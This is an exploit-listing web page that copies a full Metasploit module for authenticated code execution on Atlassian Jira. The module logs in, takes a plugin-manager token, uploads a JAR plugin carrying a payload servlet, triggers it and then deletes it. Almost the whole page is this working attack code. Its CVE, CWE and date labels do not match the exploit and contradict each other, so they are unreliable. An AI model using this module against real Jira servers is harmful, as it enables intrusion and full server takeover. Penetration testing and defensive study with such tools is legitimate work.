Advertisement






Atlassian Jira Authenticated Upload Code Execution

CVE Category Price Severity
CVE-2020-36201 CWE-918 $1000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2018-11-14
CVSS EPSS EPSSP
CVSS: 3.1 0.9 1

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018110108

Below is a copy:

Atlassian Jira Authenticated Upload Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Atlassian Jira Authenticated Upload Code Execution',
      'Description' => %q{
        This module can be used to execute a payload on Atlassian Jira via
        the Universal Plugin Manager(UPM). The module requires valid login
        credentials to an account that has access to the plugin manager.
        The payload is uploaded as a JAR archive containing a servlet using
        a POST request against the UPM component. The check command will
        test the validity of user supplied credentials and test for access
        to the plugin manager.
      },
      'Author'      => 'Alexander Gonzalez(dubfr33)',
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
        ],
      'Platform'    => %w[java],
      'Targets'     =>
        [
          ['Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java'
            }
          ]
        ],
      'DisclosureDate' => 'Feb 22 2018'))

    register_options(
      [
        Opt::RPORT(2990),
        OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
        OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
        OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
      ])
  end

  def check
    login_res = query_login
    if login_res.nil?
      vprint_error('Unable to access the web application!')
      return CheckCode::Unknown
    end
    return CheckCode::Unknown unless login_res.code == 200
    @session_id = get_sid(login_res)
    @xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_upm(good_cookie)
    if res.nil?
      vprint_error('Unable to access the web application!')
      return CheckCode::Unknown
    elsif res.code == 200
      return Exploit::CheckCode::Appears
    else
      vprint_status('Something went wrong, make sure host is up and options are correct!')
      vprint_status("HTTP Response Code: #{res.code}")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    unless access_login?
      fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    print_status('Retrieving Session ID and XSRF token...')
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_for_upm_token(good_cookie)
    if res.nil?
      fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
    end
    upm_token = res.headers['upm-token']
    upload_exec(upm_token, good_cookie)
  end

  # Upload, execute, and remove servlet
  def upload_exec(upm_token, good_cookie)
    contents = ''
    name = Rex::Text.rand_text_alpha(8..12)

    atlassian_plugin_xml = %Q{
    <atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
    <plugin-info>
        <description></description>
        <version>1.0</version>
        <vendor name="" url="" />

        <param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
        <param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>

    </plugin-info>

    <servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
        <description>"#{name}"</description>
        <url-pattern>/metasploit/PayloadServlet</url-pattern>
    </servlet>

    </atlassian-plugin>
    }

    # Generates .jar file for upload
    zip = payload.encoded_jar
    zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

    servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
    zip.add_file('/metasploit/PayloadServlet.class', servlet)

    contents = zip.pack

    boundary = rand_text_numeric(27)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
    data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"

    print_status("Attempting to upload #{name}")
    res = send_request_cgi({
      'uri'            => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
      'vars_get'       =>
        {
          'token'      => "#{upm_token}"
        },
      'method'         => 'POST',
      'data'           => data,
      'headers'        =>
        {
          'Content-Type' => 'multipart/form-data; boundary=' + boundary,
          'Cookie'       => good_cookie.to_s
        }
    }, 25)

    unless res && res.code == 202
      print_status("Error uploading #{name}")
      print_status("HTTP Response Code: #{res.code}")
      print_status("Server Response: #{res.body}")
      return
    end

    print_status("Successfully uploaded #{name}")
    print_status("Executing #{name}")
    Rex::ThreadSafe.sleep(3)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })

    print_status("Deleting #{name}")
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
      'method'       => 'DELETE',
      'cookie'       => good_cookie.to_s
    })
  end

  def access_login?
    res = query_login
    if res.nil?
      fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    return false unless res && res.code == 200
    @session_id = get_sid(res)
    @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    return true
  end

  # Sends GET request to login page so the HTTP response can be used
  def query_login
    send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
  end

  # Queries plugin manager to verify access
  def query_upm(good_cookie)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })
  end

  # Queries API for response containing upm_token
  def query_for_upm_token(good_cookie)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })
  end

  # Authenticates to webapp with user supplied credentials
  def do_auth
    send_request_cgi({
      'uri'              => normalize_uri(target_uri.path.to_s, 'login.jsp'),
      'method'           => 'POST',
      'cookie'           => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
      'vars_post'        => {
        'os_username'    => datastore['HttpUsername'],
        'os_password'    => datastore['HttpPassword'],
        'os_destination' => '',
        'user_role'      => '',
        'atl_token'      => '',
        'login'          => 'Log+In'
      }
    })
  end

  # Finds SID from HTTP response headers
  def get_sid(res)
    if res.nil?
      return '' if res.blank?
    end
    res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum